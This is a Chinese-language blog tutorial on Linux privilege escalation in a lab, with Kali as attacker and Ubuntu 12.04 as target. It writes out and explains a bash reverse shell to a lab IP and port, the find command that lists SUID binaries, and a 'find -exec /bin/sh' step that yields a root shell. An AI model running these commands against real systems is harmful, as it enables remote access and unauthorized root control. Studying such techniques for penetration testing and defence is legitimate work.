SUID find 命令提权
环境准备环境准备
➥
攻击者:Kali Linux
靶标:Ubuntu 12.04.5
靶机上执行命令搭建环境
反弹shell搭建
➥
在靶标上手动创建反弹Shell,模拟已进入内网情况
bash -i >& /dev/tcp/192.168.41.151/6767 0>&1
bash -i
-
启动一个交互式bash shell(-i代表interactive)
-
这样进程不会只是执行一次命令后退出,而是会等待用户输入
/dev/tcp/192.168.41.151/6767
-
在bash内置的特殊文件系统中,/dev/tcp/HOST/PORT表示一个TCP连接
-
当你尝试对它进行重定向时,bash会尝试连接指定的IP和端口
-
这里就是,尝试建立到192.168.41.151:6767的TCP连接
>&
-
标准输出和标准错误的重定向
-
& target表示把stdout(1)和stderr(2)一起重定向到目标
-
这里,目标是/dev/tcp/192.168.41.151/6767,即远程TCP连接
0>&1
-
把标准输入(0)重定向到标准输出(1)
-
而标准输出已经被重定向到远程TCP连接,因此输入也会来自那个连接
综合效果
-
启动一个交互式bash shell (bash -i)
-
该shell的输入、输出、错误流都被重定向到远程TCP连接 (192.168.41.151:6767)
-
结果:一旦远程主机在该端口上监听,执行这条命令的机器就会反向连接过去,并且把一个交互式shell提供给远程主机

KaliLinux 监听

查找SUID权限文件
➥
find / -type f -perm /4000 2>/dev/null 1. find /
1. find /
- 作用:从根目录开始递归查找整个文件系统
2. -type -f
- 说明:表示只查找普通文件(regular file)
3. -perm /4000
-
说明:匹配文件权限位中含有SUID位(Set User ID on execution)的文件
-
/4000含义:
/ 表示“按位或匹配”,只要有4000位,就会被匹配
4000表示SUID权限位
因此,这里会找到系统中所有设置了SUID的二进制文(如 /usr/bin/passwd)
4. 2>/dev/null
提权操作
➥
利用 find 提权
find . -exec /bin/sh \; -quit
find .
从当前目录开始遍历
-exec /bin/sh \;
对每个匹配到的条目执行/bin/sh。
注意这里没有 {},也就是说find只是运行/bin/sh这个命令(每次匹配都会启动一次shell),而不是把匹配的文件名作为参数传给shell
-quit
遇到第一个匹配后立即退出(因此只会启动一次/bin/sh),避免继续遍历
如果find在高权限上下文中运行(例如被root/管理员身份执行的脚本、cron job、或者某个有特权的进程间接调用find),那么-exec /bin/sh会在那个高权限上下文下启动shell,从而直接获得高权限交互式shell

文章标题:渗透测试实战,SUID find命令提权全流程解析
文章链接:https://morningstar.xin/?post=110
本站文章均为原创,未经授权请勿用于任何商业用途

